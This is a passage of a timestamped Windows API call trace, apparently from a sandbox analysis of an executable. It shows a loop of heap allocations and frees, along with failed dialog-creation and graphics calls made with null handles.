dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.716] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.716] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.716] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.716] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.717] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.717] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.717] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.717] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.717] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.717] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.717] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.717] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.717] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.718] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.718] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.718] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.718] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.718] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.718] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.718] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.718] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.718] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.718] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.718] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.718] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.718] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.718] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.718] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.718] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.718] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193500123, cy=27, fuLoad=0x0) returned 0x0 [0026.718] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.718] GetLastError () returned 0x715 [0026.718] SetLastError (dwErrCode=0x715) [0026.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.719] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.719] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.719] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.719] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.719] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.719] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.719] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.720] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.720] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.720] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.720] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.720] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.720] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.720] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.720] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.720] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.720] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.721] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.721] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.721] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.721] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.721] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.721] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.721] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.721] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.721] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.721] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.721] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.721] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.721] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.721] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.721] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.721] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.721] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.721] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.721] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.721] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.721] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.721] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.721] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.721] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.721] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.721] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.721] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.721] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.721] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.721] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.721] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.721] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.721] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.721] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.721] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.721] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193481178, cy=27, fuLoad=0x0) returned 0x0 [0026.721] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.722] GetLastError () returned 0x715 [0026.722] SetLastError (dwErrCode=0x715) [0026.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.722] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.722] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.722] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.722] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.722] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.722] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.722] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.722] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.722] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.723] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.723] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, 